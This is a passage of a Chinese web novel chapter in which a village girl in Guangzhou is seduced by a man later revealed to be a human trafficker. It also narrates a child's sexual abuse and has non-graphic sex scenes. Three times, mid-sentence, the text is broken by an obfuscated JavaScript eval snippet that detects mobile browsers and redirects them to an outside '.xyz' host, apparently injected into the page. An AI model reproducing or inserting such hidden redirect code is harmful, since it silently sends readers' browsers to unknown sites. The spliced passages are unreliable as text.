但终归是第一次穿带跟的鞋,走了俩钟头,小芳身形就变了,前胸和后臀脱缰似的朝各自凸出方向送,上下身完全脱节,很像《猫和老鼠》里,那几只猫双手握拳下垂的姿|势,她此刻是累得找不到支点,怎么走怎么别扭。 每往前迈一步要用比没穿这双跟鞋时至少三倍的力气,就像爬楼梯,膝盖先呈近乎九十度弯曲,踩下去后,后脚又重复前脚的动作,身体就在这一系列的重复中忽高忽矮,原本被跟鞋强调的优美身体曲线,这下也变得难看起来。 小芳要被这双鞋折磨死了,王国富立马逼她换上球鞋,不单是心疼她,他觉得自己也要被她滑稽的走路姿|势给折磨死了,不仅眼睛受折磨,从他们身边路过的陌生人那种看笑话的目光,更让他无地自容。 王国富好说歹说,小芳终于不再和这半坡高跟鞋死磕较劲,脱了鞋,她才注意到,脚肿了起码超出之前的十分之一。 王国富把换下来的高跟鞋用包装袋提着拎手上,带着小芳去附近一个公园里坐着休息,顺便看看风景。 小芳感慨,城里人就是洋气,大白天的也不害臊弄个不晓得是录音机还是收音机的东西在这里开着露天舞会,一群群男女无论老中青,都肉挨肉,皮贴皮地跳起交际舞来。 更不得了的是,王国富告诉她,这些人几乎都是陌生人,互相不认识。 小芳更开眼界了,男人和女人这样挨着跳能不出事?听王国富那意思,这些人每天的舞伴还不是同一个,城里过得都像皇帝,有三宫六院的风流供他们花销! 小芳此时觉得伍家村还是含蓄了,即使有忍不住起贼心思上寡妇门的,那也是偷摸着月黑风高来,哪像这里?光天化日,青天白日,还一群群的抱团作案。 改革开放,改革小芳体会不太深,开放这下到是切切实实体会到了。 她心里又涌过一阵哀伤,王国富那么熟悉,他也在这里跳过吧? 王国富看穿了小芳那受到震撼的心灵,笑道:“你想什么呢?人家可正规了,就是当运动跳跳保持身体健康,你想想,要是两个男人两个女人的这样跳,那多影响风化?” 王国富说的是什么,小芳懂,几里地外的罗家村听说就是有个上了年纪的老伯正道不走,偏走邪门歪道,好不容易四十时娶了个寡妇,新婚第一晚,那寡妇叫着要回娘家,彩礼什么的全退了,死活不跟他过,原因怎么都打听不出来。 后来是在玉米地里,他拿点心来诱骗糟蹋了个十一二的小男孩,男孩也没搞清状况,几个月下来天天在家说屁|股痛,他爹妈害怕有什么大病送到县城医院,还是肛肠科的医生有见识,才明白了情况不对。 公安局的人当天下午就上老伯家里了,但没办法,法律的欠缺只能让他们以“暴力犯罪,殴打他人”的名义把人关了段时间,但公安局也有人情味地默许了男孩家人对老伯的“私刑”,只嘱咐道:“别下手太狠。” 整个县城里听说了这件事的人,没谁能懂,那地方不就是个屎罐子吗?怎么会有男人放着女人的销魂窟不走,走那种埋汰人的地方? 王国富看小芳在发呆,问了句,“想什么呢?” 小芳就把罗家村的事一五一十地告诉王国富了。 王国富听后却不感到新鲜,他说:“广州也有这类人,还有和中国隔着大洋的美国政府,不仅欢迎男人和女人结婚,就是连男人和男人,女人和女人,男人和变性人他们都欢迎。” 他又文绉绉地来一句,“那才叫真的海纳百川,有容乃大。” 小芳听不懂王国富口气里是戏谑还是羡慕,她觉得王国富真是让她见了、听了太多世面新闻了,原来大洋彼岸那个被称为“野心狼”的美帝国主义,比广州还要精彩,还要多姿,还要开放得多。 她想,够了,广州开放到这种程度就够了,要是真像王国富说的那样,社会就全乱套了! 可她没敢开腔,她心里那点惴惴不安和王国富见惯风雨的表情比起来,多像个乡巴佬? “起来嘛!”王国富拉着小芳,“来都来了也学人家跳一跳。” 小芳说:“我不会。” “跳两下就会了,你以为这里跳舞的都是舞蹈家啊?” 王国富牵起小芳的两只手带动着她跳起来。 小芳因不会而紧张,因越紧张而越不会,跳到后面几乎是双脚踩着王国富的脚背跳,幸好她身体轻盈,要是壮实点,王国富那双脚也要像她那双被跟鞋折腾肿的脚一样惨。 离开公园之前,王国富要小芳坐在长椅上等等他,他去上个厕所,他这一去时间有点长,小芳当他是闹了肚子,想起他身上好像没纸,又去买了包纸想找个人帮忙送进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630272|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 正瞅准了一个要进厕所的男人准备问,小芳就看见公厕不远处的树下,王国富和一个比他还高大的人交谈着什么,两个人看样子还起了争执。 小芳悄没声地在地上捡了根粗杆树棍,要是两个人打起来王国富肯定吃亏,她要趁那长得跟骡马一样结实的男人不注意,快准狠地给他狗日的龟儿一闷棍。 伍家村的婆娘,在自家男人被人欺负时,从不作壁上观。 小芳没站多久,就发现一高一矮,一壮一受两个人谈话的地位,并不如他们的身板厚实程度那样明了,反而,高大那个倒有点低三下四的感觉。 小芳有点自豪,王国富不愧是王国富,谁能在他身上吃到亏? 等他们谈完,小芳都没看清那高大男人长什么样,但不用想也能猜到,表现得那样窝囊,那骡马一样的筋肉,配的也是骡马一样的蠢相! 小芳放心地走回原地等王国富,她也不准备问他和那男人究竟嘀咕什么,能说那么久。 她懂那点道理,女人要适度地给男人一点空间,过度地介入到对方的生活里,对谁都不好,在说,对方又不是个女人! 两个人回到宾馆,小芳让王国富来自己屋一趟,她想要他算算这两天他在自己身上花了多少钱,她必须还给他。 人和人之间想要平等,钱是必须两清的。 抛开钱谈平等?不是臭不要脸、既要又要,就是扯淡! 王国富拗不过小芳,只能提出债务的另一种偿还方式。 他温情地说:“小芳,孟娟带你来这里之前就没有问过你愿不愿意嫁到这边来,以后就在这里把日子过下去了?” 小芳点点头又摇摇头说:“娟姨是说了,但我想还是先挣出一份家底来再说,至少也要给自己备一份嫁妆吧?” 王国富不高兴了,“我有时真不知道你是假装还是瞧不上我!” 小芳慌了,她被他扣了多么大一顶帽子?瞧不上? 要真论瞧不上,也是只有他瞧不上自己的份儿好吧? “你怎么能这么想呢?”小芳委屈地说,一张俊俏的笑脸因内心酸涩皱巴成一团,看着很有股招人疼的劲儿! 王国富无赖起来了,“那你干嘛什么都跟我算这么清楚呢?就像......”他眼里有了伍家村里水牛待宰时的哀怨,“就像你恨不得有了事做后,还了钱,立马把我们的界限划清!” 他和她已经成“我们”了! “你怎么能这样说?!”小芳恼了,他们两个人这时都在恼,为对方的不识时务不理解自己而恼,“我还不是为了你好,这两天我也看出来了,你说话和这里人不一样,你也不是本地人,我老花你的钱,也不知道你干什么的,花钱像流水,挣钱像抽丝,我......我还不是心疼你!” 她这话倒是把王国富听舒服了。 两个人都坐在床沿上,中间隔着不远不近一段距离,王国富对着小芳勾了勾手指说,“你要不要听我说实话,要就坐过来。” 王国富鼻梁很挺,弧度有点弯,笑起来,人不坏也像是在跟你使坏,香港影视里很标准的反派帅哥长相。 小芳说:“人家才不过来!”意思是:要过来也是你过来。 她对王国富是真没设防,一男一女坐在一张床上,想想也没什么好事发生,但王国富不会,他们房间都是开的两间! 王国富主动坐过来了,“其实孟娟叫我来接你,就是想撮合我和你。” 小芳半是惊吓,半是惊喜,老天爷还真会下大饼? “不是,”小芳不信地问,“你那么好的一个人还要人撮合?” 王国富像被人戳到痛处般,脸抽搐了几下,“我以前有个女朋友也是来这里打工的,跟你一样老实巴交,都要结婚了,结果被她厂里的值班主任给勾过去了。” “小芳,”他受不住痛地喘息着,“我那时候还痴心妄想地跑去找她,结果她脖子戴的金项链,麻绳一样的粗,还把手指头晾给我看,那金戒指有你们绣花戴的顶针那么大,她问我,我买得起给她吗?买得起就跟我走,毕竟我比她的厂长年轻还好看,亲热起来不至于要把眼睛闭得太死。” 王国富艰难痛苦地说完他的伤心罗曼史,小芳心里也跟着痛,那女人伤了王国富,受伤的王国富又伤了她,这痛就像得了灰指甲似的,一个染一个。 10. 洞房 小芳决定了她要把自己补偿给王国富。 昨晚,王国富小心又珍重地从他上衣前胸靠心脏处的口袋里拿出一张相片给小芳看,那动作轻柔得仿佛像捧着他的伤口。 小芳一看,是个漂亮的年轻女人,女人对女人的天然敏锐直觉告诉她,这女人也和自己一样不过十七八,但那心计、手段、狠劲,自己怕是三十岁也做不到,她怎么能做到恩将仇报地伤害王国富呢? 王国富把她放在最贴致命处的地方,无论是人还是相片,而这女人的一双嫩手毫不迟疑地给了王国富最狠一刀,再一个反手让刀在他伤口里搅着肉旋转一圈后抽出,血肉淋漓,至今未愈。 而王国富呢?能做的止痛方式不过是再把代表她的相片贴在被她捅的伤口处当创可贴罢了。 王国富不知把她这样贴身放了多久,那相片小芳瞧见都给他平时出的汗给沤软了,还带着他微微的体汗味。 有点嫉妒,这是人之常情,也是一个女人在面对她爱的男人深爱的女人时该有的正常反应,如果这点反应都有没有,那么这女人也没多爱那个男人,至少没小芳爱王国富那样爱。 但她对王国富的爱也注定了,这一刻嫉妒是被埋在所有情感的最底层的,替他痛心,替他叫屈,替他不值,这些情感才是浮于表层上的。 “王国富,”小芳一脸受伤比他更重的模样,“她不爱你。” “她以前爱过我,”王国富还不死心地替他前女友解释道,“以前还没来广州的时候,在我们老家,她很爱我的。” 错的不是前女友,而是广州,是广州的五光十色迷乱了前女友的心智,他怎么能要求手无缚鸡之力的前女友抵挡广州来自四面八方的诱惑呢? 王国富没有勇气承认,即便是在老家的时候,也是他爱她多些,但他的尊严不容允自己唯一真心交付的一段感情在另一个漂亮女人看来纯粹是笑话。 “是来了这里,小芳,你不知道在这些地方,人为了钱什么能都抛弃,什么都能拿来换,感情、良心、肉|体,没有什么是不能出卖的,只要叫得上价,换得到钱。” 王国富的手拽得小芳的手很紧,近乎是掐了,仿佛是要从她身上汲取力量让自己说下去,或者把自己骗下去,把小芳也骗下去,这一切都是纸醉金迷的城市的错,不是他前女友的爱禁不住纸醉金迷的错。 小芳在后来无数次地回想过此时的她和王国富,她觉得自己真蠢,换个稍聪明点的女人,或者在伍家村的伍小芳,就会识趣地知难而退,无论王国富演得真与假,她都应该明白,那个女人占据了他心灵的最高地,自己要做的是仰望,然后转身离去,找到另一个能把自己放同样位置的男人,而不该像接下来那样,奋力地跋山涉水,誓要把那个女人从王国富心尖上推下去。 她觉得自己那时候可真贱啊,来了广州那么多条能走的路不走,偏选了铁了心要把自己卖了那条。 “不,王国富,如果她够爱你,她是不会选择其他人。”只念到初中毕业的小芳也是知道,爱是具有排他性的,真爱一个人眼里就容不下其他人。 “是吗?”王国富不信地看着小芳,他不是不信小芳说那个女人不爱他,他是不信,这世上有小芳嘴里那种反人性的爱,至少在“万众向钱看”的城市里是没有的。 小芳毫不畏惧王国富凶猛得要得要把看穿的目光,她想:他要真能看穿就好了,真心还会惧怕被人看穿?别被我真心吓到才好。 而此刻王国富想的却是,这女人真让他高看了,这是他看守、经手过的女人里,他管得最松的一个,她有那么多次能逃走的机会,而次次都选择在原地遵守他“不要乱跑”的话,搞得王国富都弄不明白自己到底是希望她逃走还是永远留下来。 王国富心里涌过一阵汹涌的感动,干上这行后,他引以为傲的超越同行的自制力,让他差点没压住这阵感动。 还是他捏在手上,积聚了他这些年恨意的相片,让他克制住了。 留下这个漂亮女人,在乱花渐欲迷人眼的纷繁世界里,自己随时会有重蹈覆辙的危险,而把她像以往每次完成任务那样不出错地转手掉,就一点后顾之忧都不会有了。 而且连小芳这样一个标致、善良、质朴,浑身找不出一点错的女人,他都能做到心狠手辣,以后还有什么能动摇他呢? 王国富觉得只要自己这次能忍着难受把小芳给当做一个物件给卖了,那么他也是把自己修炼到心狠手辣、无情无义那一步了,这一步不正是城市里男人女人们追捧的能干大事的人所必须具备的德行吗? “小芳,”王国富凑近看这个比自己还可怜的女人说,“来接你之前,孟娟跟我说过你是个很好的姑娘,要是两个人都觉得不错,我们就凑合着在这里相互照顾,把日子安定下来过了,两个人过总比一个人好过,两双手总比一双手有力气。” 如此近距离看王国富,小芳只觉世界都随之塌陷了,陷入温柔乡似的,这是两天来,小芳第一次没在王国富的脸上见到一丝坏的痕迹,相反做这样诚恳状,说这样老实话的王国富,倒是让小芳看见了那个曾经和她一样窝在山沟沟里的王国富。 现在的王国富更让小芳动心且有成就感,她的爱像感化院,两天就把一个时刻带点“坏”的男人感化回过去那个平和实在的“好”男人了。 “娟姨说得对!”小芳用另一只空手握住他,“王国富,我们会在广州好好活下来的,我们还会在这里安家,到时候把你爸妈,还有我妈,他们都接过来!” 来到广州的第二天晚上,小芳就准备在第三天把自己嫁出去了。 结婚证暂时先放下,王国富的户口本在他老家,没户口本结不了婚,但仪式是不能免的。 小芳原本想邀请自己和王国富在广州认识的人,找家饭馆点一桌子菜,听听大家祝福就够了,以后挣到钱了,回两个人的老家大办一场补上就行。 但王国富说,“那还请他们做什么?以后该正式办的时候请他们不就行了?我这次就想和你两个人。” 心细如发的小芳当王国富是虽然往前迈出了一大步,但还不能完全地信任自己,他还是怕自己有那么一天会像那个女人那样伤他。 小芳包容他那点不安全感,走着看嘛,时间还长着呢!她总有一天会让王国富彻底地信服。 而作为回报,王国富把那张放来快要和他身体融得不分彼此的相片,当着小芳面,撕碎了扔进垃圾桶。 来广州的第二晚,他们彼此交换了那么多温情却仍然在该睡觉的时候各待各房,因为明晚他们就要在这家宾馆举行结婚仪式了。 明天他们要起个大早,准备些红罗帐,红蜡烛,红被子,红礼服什么的,小芳的那间房相当于是她娘家,而王国富那间则是她的夫家,王国富会从他的房间里走出来,把小芳背进去。 这个仓促,甚至一点不像样的仪式,小芳觉得反倒比她在伍家村里参与过的所有正式婚礼还要罗曼蒂克一点。 来广州第三天,小芳被王国富带着去个地下商场里去购置新婚装备,这次她犟着劲非要自己来掏自己出嫁的钱。 就因为这件事,小芳和王国富两个人还大清早的在宾馆房间里吵了一架,凶狠又甜蜜地吵,谁都不让步,谁都觉得这钱该自己掏。 最后惹得同一层楼睡觉的人都被他们吵醒了,带着起床气敲门,语气不好地提醒了他们注意下素质,两个人才熄火。 “你依着我,不然我就不嫁了!” 小芳的威胁的确是把王国富吓怂了,他果断让步了。 小芳见自己赢了后,得意笑道:“还没结婚呢,就开始不听我话了,这怎么行?” 王国富带小芳去的地下商场,虽然是建在地下,但迷人眼的程度不比地表上差,刚进来时,有几个跪在地上要钱的乞丐,让小芳看着很不舒服,有手有脚却四处跟人下跪要那几角几分,先人的脸都给他们丢完了。 伍家村那么穷,可伍家村的人也没穷得跑出去做“讨口子”,伍家村跑出去的人,个个都是抱着光宗耀祖,衣锦回乡的任务出去的,不是为了那两口饭饱肚皮。 光是为了两口饭,村里种一亩三分地种不出来饭?城里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630273|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更简单了,到处餐馆都贴着招工,去餐馆打工还有饿死的?全是懒病作怪! 小芳经过他们的时候,几个乞丐麻木且不知羞地对小芳说:“行行好!” 小芳一概不理,她觉得之前两天,和王国富看见的那些卖艺的残疾人,虽然缺胳膊断腿的卖得实在不怎么样,但让她丢几个硬币,站着捧个人场,她还是情愿的,虽然那时候王国富告诉她,“有些残疾人是装得残疾。” 但小芳却说:“万一他们不是装的呢?” 后来王国富又告诉她,“有些残疾人不是天生残疾的,是被人fan子抓来弄断手脚,逼着他们做残疾人卖艺、乞讨挣钱,但是钱大部头还是落到人fan子手里,他们只能有口饱饭吃。” 她听后一阵胆寒,大城市也有五彩绚烂灯光照不到的黑暗角落。 小芳不理这些乞丐,王国富却把几个钢镚扔进了他们的不锈钢乞讨碗里。 她不高兴了,她用了两个斯文的成语来指出王国富的不对,“你这是在助纣为虐,让他们养成不劳而获的陋习。” 王国富不当回事地说:“他们也不见得想跑就跑。” “他们又没断腿,腿又没给人绑着!” 王国富弯下身,贴着小芳耳朵小声说:“你眼睛看前面,就那个坐在纸箱子上的男人,看见没有?” 看见了,但小芳想,关那男人什么事? 王国富又说:“别一直盯着他,那个人应该就是管这些人的,这些人要是要不到钱回去肯定要遭一顿毒打,全须全尾地都要不到钱,过段时间就会被人折了腿脚出来挣钱了!” “你怎么什么都知道?!”这地下商场跟放冰块的地窖那样让小芳感到汗毛直立。 “你以后在这里待久了你就知道了。”王国富说。 那时的小芳还不知道,其实即使是在大城市也有活了一辈子还傻乐呵呵的,啥阴暗也不知道,王国富之所以能把那个人一眼洞穿,不过是敏锐的同行嗅觉发作了而已。 从地下商场回来,小芳就紧赶慢赶地布置起来了,那点城市的阴森黑暗早就被满屋满室的红色喜庆给冲散了,再青面獠牙的恶鬼都抵不住经小芳布置的满堂红。 没办法,这世界每个角落地带都裹挟着罪恶的,但她伍小芳不是救世主,她做不了那么多人的主,她只能做自己和王国富的主。 晚上两个人说了好多温存的话,几杯烫温的酒下肚,不仅是为了情调,还是为了给接下来要办的事做好准备。 小芳在伍家村时听新婚媳妇们说过,那事无论最后好不好,美不美,起头都是痛的。 她们说:“你想想,你每个月来女人该来的玩意儿都痛,还用说放根东西进去?” 不行,小芳想,不能让痛败了她和王国富的兴。 做这种事又不能像进医院动手术打麻药,真有麻药打也不行,这事重在两个人身与心都参与其中的快活,否则拨弄一具yan尸,有什么情|趣可言? 小芳给自己整了两杯热酒,又烈又热地顺着喉咙下去,浑身筋络都松散了,红红的脸还给上了层天然胭脂。 王国富吻上她脸颊,和吻过去那些粉面女人不同,过去他总吃得满嘴粉,长期下去,迟早有天会重金属中毒。 还是小芳好,她是山窝窝里未经雕饰的璞玉浑金! 王国富一点都没有胁迫她,火候到了,时机也成熟了,先是两张带着热度的唇碰上,小芳是一点经验没有,王国富带动着她,然后慢慢地、沉重地倒在床上。 弹性十足的席梦思安全的、温柔地接住他们。一切都发生得那么应该,那么顺水推舟、因势利导,在这样一个浪漫的、没有月亮的晚上,房间里一切都红亮得让小芳晕头转向。 在烈酒和王国富的高超技巧下,小芳是一点疼痛都没有感受到,他光靠一个缠绵的吻就把她弄得五迷三道,神志不清了,接下来他没有一个多余、浪费的动作,第一下就把小芳吃准了。 接下来小芳就成了小时候她在伍家村玩的泥巴,王国富像她过去搓圆捏扁泥巴那样,搓圆捏扁她。 11. 黄土地 第二天中午小芳醒来,浑身没哪处不是要散架的,转过身,王国富不在,她人正迷糊,房间的门从外面打开了,王国富起来给她买早午饭去了。 酒意散了,小芳昨晚弄丢的娇羞全跑回来了,她拿被子挡着身体对王国富说:“你转过去,人家要穿衣服了!” 王国富笑得很无赖,“讲究什么,昨天我全看完了。” “那也不行!” “好好好。”王国富不跟她争,起身走到厕所里去。 等小芳换好衣服叫他,他出来,脸上带着难得的正经。 他这人很少正经,所以一旦正经起来就给人感觉格外正经。 “小芳。”王国富唤她一声,听起来愁肠百转。 小芳觉得一定是她宿醉还没醒透,不然怎么从中听出一股要离别的不舍和怅惘? “怎么了?”小芳想:这人可不会是个戏折子里吃干抹净,提裤子走人的王八蛋吧? “小芳,我有事和你说。”这一刻王国富白皙的一张脸,让小芳看着简直像个病重的梁山伯,情伤和身伤都来折磨他了。 “你说啊!”她急迫起来,什么事能让一个爽快的人如此婆妈?可别是那个给当着她面扔进垃圾桶里的女友又回味出王国富的好,找上门来了。 “我刚刚下楼打了个电话......”又是一阵停顿。 小芳要被他急死了,虎着脸催促道:“你倒是说啊!” 他坐在床畔,很苦恼的样子,“我给家里说了,我和你结婚的事,他们非要让我把你带回去看看,怕不放心,怕我又被骗。” 嗐,小芳松口气,“这多大点事?你至于吗?” 他听她愿意跟他回去一趟的口气,忧愁不减反倒更浓了,在小芳看来,他甚至希望自己拒绝似的。 “你一脸难过干嘛?”太奇怪了,结了婚了,倒从潇洒的城市公子哥儿变成忧郁的城市诗人了。 “你才来广州几天,”他伸出四根手指重重地说,“四天!又要回一趟我家那个山窝窝!” “你怕我去了嫌弃你?”他们颠倒过来了,睡了一晚小芳成了玩世不恭那个,“别怕,我还没见过比伍家村更穷的地方!” “你去了你可别恼。”王国富又添几分郑重警示她,去了别后悔。 有什么后悔的?小芳甜蜜而感伤的表情在回答他:我都成了你的人了,跟着你嫁鸡随鸡嫁狗随狗了,我还有后悔余地吗? 接下来,刚到广州的第四天下午,小芳又像跟着娟姨那样,跟着王国富坐上了火车,又是屁|股一颠三四天。 一路上,小芳望着火车窗外由绿转黄的风景,她觉得怪不得王国富自卑,这些又黄又秃山和地,实在是称“风景”都很勉强,风景至少占个审美趣味,拿眼望它们完全是在审丑! 火车越往王国富的老家开,越是远离广州的湿热,空气里都弥漫着缺水的干燥,没关车窗的风刮进来,跟小刀子似的还带着尘土味。 小芳想到伍家村,至少伍家村的空气是清新湿润的,吸进去肺都舒坦了,不像这里吹风跟抽叶子烟一样。 小芳很喜欢甚至很爱王国富,但她对王国富的喜欢和爱,分不出一点来对他的老家有好感,她尽力克制着自己的不满意。 但小芳的克制是多余的,王国富看起来比她更糟糕,烟不要钱更不要命地一根接着一根抽,嫌着黄土地的风沙还不够劲道似的。 小芳在风沙和王国富吞吐的烟雾里窗里窗外地两头受罪,却又不敢关车窗,一关那烟的味道熏得她直咳嗽。 “有那么好抽?”小芳压不住火了。 “试一下嘛。”王国富抽出烟盒递给她,让她自己拔一根出来。 她好奇地拿一根来放自己嘴上,王国富在她对面站起来探过身,也不用打火机,当着一车厢人调情地给了小芳一记“烟吻”。 小芳嘴里的烟点燃后,王国富就顺着站起时的轨迹原路坐回去了。 徒留她还在呆呆地愣神,脑子里还在回放着那一瞬王国富无限放大的脸,她的魂仿佛就在两根连接的烟之间被王国富吸走了。 “怎么样?”王国富问她。 小芳这才想起,自己该学着他抽烟,只一口她就呛得想死,但不愿意在王国富面前丢份,表现得乡里乡气的。 她还真像个纯爷们儿那样豪情地吞云吐雾起来,尽管她觉得那烟在她鼻腔肺管子里,简直像蚊香,要把她的细胞当蚊子苍蝇熏死。 “你还上起瘾来了?!”王国富这下站起来探身就不像刚才那样带着调情意味了,而是迅猛地把烟从她嘴里夺下来,扔出窗外。 抽烟伤人,这点常识,小芳还是懂的,还有农村里就没抽烟的女人的,城市里抽烟的更全是坏女人,王国富这是不准她学坏! 小芳一点都没有被他太阳穴边因怒气而凸起跳跃的青筋吓到,不爱你不关心的人,才不会在乎你坏不坏。 “你不准我抽,你自己也不准抽!”小芳和他讨价还价道。 “我不抽我心里不舒服。”王国富说。 “有啥不舒服的?生养自己的老巢,妈老汉儿都在,还能丢了?”她现在已经熟到可以和王国富用伍家村的方言交流了,反正王国富听得懂。 小芳此刻还没意识到王国富内心的煎熬,他在执行一场由他和他的组织主导的,由小芳半推半就促成的妇女人口拐卖案。 她还当王国富一个大高个男人,还在为自己老家那点连成片望不到头的黄土地而自惭形秽,借烟消愁。 “到了别后悔。”王国富又说了一遍出发前的话。 在他心里,他几乎是在求小芳别去了。 可小芳更是个犟驴子,后来的小芳能把一年前这时的自己看得透彻,她其实和王国富对这片缺绿多沙的土地有着同相同的反感、厌恶,以及恨不得手脚并用地跑起来离它远点。 不过当时的她太想向王国富证明她对他的爱无邪而纯粹。 后来的小芳感慨,自己当初可真傻,错过了王国富对自己的一次次地仁慈和放过。 这半个月至少一大半都是坐火车上度过的,小芳觉得原来人光是坐着不动也很累人。 火车到站停下时天都黑了,两个人拿着大包小包的行李口袋一脚踏出去,东西很多,小芳人又刚被王国富叫醒昏沉沉的,差点一踉跄跌下去,还是王国富有力的手接住了她。 王国富责怪道:“都跟你说别买!别买!你非要花些冤枉钱,流水线还没上,那点钱就找到销路了,怎么不见你给你自己打算点?” 小芳被他骂得心里泛起窝囊的柔情,“我不声不响地把人家儿子拐走了,来跟老人家们打一趟照面,空手像什么话?” “什么老人家?”王国富连实话都不忌讳说了,“干起活来比你年轻!比你有劲!” 等火车带着它亮起的一个个窗口完全驶离视野了,小芳才发现,这个站真的太黑了,她自己老家镇上的火车站都不会把灯亮得这么吝啬小气,这里站台的灯就跟第一次见她害羞似的发散点连王国富脸她都看不清的光。 王国富从一个包里拿出早备好的手电筒,让小芳走前面光照到的地方,自己走后面。 小芳求之不得,把后背留给王国富可比留给一片充满未知的黑暗有安全感得多。 王国富走得慢,东西他多数挂他身上,又拿着根手电筒,小芳也放慢步调配合他,这对“新婚夫妻”的默契已经养熟了。 王国富边走边说:“火车站在县里面,天亮了我们还要搭长途车,下了车我爸会开他车来接我们。” “哟,”小芳耳朵尖,“你爸还有车?!” 王国富想起那个男人,恼火地怪自己说是“哥”不就行了?吃撑了在外面给自己认个爹。 但到底是自己说的话,吞也吞不回去了,他不情不愿地说:“一辆烂皮卡车,不晓得转了几道手都要成废铁了才转到他手上。” “王国富,”小芳管家婆的做派拿出来了,“我们村还没几个能有你爹的废铁呢!你怎么老瞧不上你爹,你到底是他亲生的!” 王国富不想再在那个被他撒谎撒溜边了,抬高了辈分的男人身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630274|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上和小芳浪费口舌,不耐烦道:“走出这里,赶紧找个旅馆睡了!” “就在候车室歇一夜嘛!”小芳说,“就那么几个钟头,浪费那钱干啥?” “候车室能跟你干那事?”小芳背对着王国富没看清他的嬉皮笑脸,她脸红了。 “你这个人,坐那么久的车还有力气?” “跟你,”王国富讨好她,“我要死了也得回光返照来一次!” 小芳娇媚地骂他:“你这个人,没个正经。” 王国富说:“正经了你就不爱了!” 小芳细细一想,王国富正经起来,是有点让她害怕,还是眼前这个没正经的好。 “说真的,”王国富认真道,“到了那边我们就不能像现在这样随便了。” “为啥?”小芳又找补道,“我巴不得这样,这种事尽是你们男人占便宜!”虽然她也前前后后感到甜蜜销魂,但她是不会承认的。 “你又不是不知道,农村人的房子,还没有宾馆隔音!” 小芳想,王国富说得对,他俩是该趁着最后时刻和和美美地来一记,别把两个人都憋坏了,在那种半夜一动全家人都能听见谁屋里在干啥事的房子里,难道不是在用另一种形式来邀请一家人的耳朵参与吗? 王国富在火车站附近找了家最干净,价格也最贵的旅馆,开最好的房间,在卫生和品质方面,他比小芳讲究得多。 在王国富还在跟前台办登记的人交涉时,小芳正在为不久后的一番rou体|交|缠提前羞涩着,全然没注意一个细节,这是王国富的老家,怎么办登记的人和他说方言,他和人家说普通话?! 上了楼,王国富让小芳先洗澡,意思是如果自己先洗等着她,她不知道要在里面磨蹭多久。 小芳把自己这三四天来,从广州出发腻结的汗,还有近这里时染的尘全洗刷干净,这里的水放出来就和这里的土质一样泛黄还有沉淀物,本就不干净的水,被她洗完像加多了水的灰面一样粘稠、恶心。 小芳又把厕所打扫完,才让王国富进来。 王国富说:“你再不出来,我都要睡着了!” 小芳口是心非地和他顶嘴,“睡着了好,睡着了没人来占人家便宜!” 王国富拿起他衣服进去,小芳把洗澡时顺手搓干净的衣服还有内衣裤支在窗子外面晾着,又把头发吹干,王国富人才出来。 “还说我慢,”小芳放下吹风机,“你比我快多少?我还有一头长头发!” 小芳的长发又黑又密,走在广州街上时还有人问她,“卖不卖头发?五十块!” 她本有点心动,可看一旁剪完头,男女不分的女同胞,又迟疑了。 还是王国富推她走,骂她没出息,“五十块就把你爹妈给的原生性别搞模糊了,我不想晚上搂着个不男不女的睡!” “那你赔我五十块!”小芳跟他闹! 王国富还真赔给了她,用宠惯了的,没好气的态度把这笔巨款塞她手上,凶巴巴道:“拿去!”惹来周围一片羡慕。 “这水也太脏了,洗了也没干净多少!”他跟小芳抱怨,陌生得像是不了解自己老家。 小芳只当他是城里舒坦日子过惯了,忘了本,也没计较没多想,只要给自己当男人不忘本就行了。 这一晚上,王国富一点没有上次的多情和富有挑逗,而是最原始的,把小芳当自己所有物那样,全身上下都咬上牙印盖章标记! 小芳是又疼痛又享受,这个男人是彻底把她吃死了,她全身上下都被他调动、牵引,没一丝受自己掌控。 她被他吻得七荤八素的,还当他是憋久了,她没想到的是,王国富是把这一次当做他们最后一次来做,像古今中外戏里所有相爱男女分别时,那样沉重,那样千钧一发、生死攸关,那样人生不相见。 王国富还带有另一种龌龊的恶意,他要向另一个男人挑衅示威,落到你手你的又怎样?今后无论你再怎么折腾也是捡我剩下的吃,不嫌恶心的话你就上吧。 男人就是有这种没救的糟糕癖好。 12. “王国富呢?” 后来无论小芳怎么回忆也忆不起自己在和王国富水|□□融一番后发生了什么,为什么一觉醒来后睁开眼,人已经在王国富的老家了。 那时的小芳和无数被拐卖到全国各地的妇女们一样,记忆缺失了很重要的一环,人生转折点那一环。 